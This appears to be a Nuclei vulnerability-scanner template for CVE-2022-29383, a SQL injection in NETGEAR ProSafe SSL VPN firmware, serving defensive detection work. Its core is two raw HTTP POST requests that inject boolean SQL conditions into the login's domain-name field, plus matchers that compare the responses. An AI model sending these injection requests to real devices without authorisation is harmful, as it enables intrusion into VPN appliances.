id: CVE-2022-29383 info: name: NETGEAR ProSafe SSL VPN firmware - SQL Injection author: elitebaz severity: critical description: | NETGEAR ProSafe SSL VPN multiple firmware versions were discovered to contain a SQL injection vulnerability via USERDBDomains.Domainname at cgi-bin/platform.cgi. remediation: | Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability. reference: - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29383 - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222-CVE-2022-29383 - https://nvd.nist.gov/vuln/detail/CVE-2022-29383 - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222 - https://www.netgear.com/about/security/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-29383 cwe-id: CWE-89 epss-score: 0.4904 epss-percentile: 0.97135 cpe: cpe:2.3:o:netgear:ssl312_firmware:fvs336gv2:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: netgear product: ssl312_firmware tags: cve,cve2022,sqli,netgear,router http: - raw: - | POST /scgi-bin/platform.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=utf-8 thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5435'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd - | POST /scgi-bin/platform.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=utf-8 thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5434'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd req-condition: true matchers: - type: dsl dsl: - contains(body_1, "User authentication Failed") - contains(body_2, "User Login Failed for SSLVPN User.") condition: and # digest: 4b0a00483046022100cc66d244a9576383179152160f0837b5158aa869f12a576e2fef303972c12fd002210094bca106279862b113673971f9b6faecf26a5e64bc2d125d21e2eb20eb20b716:922c64590222798bb761d5b6d8e72950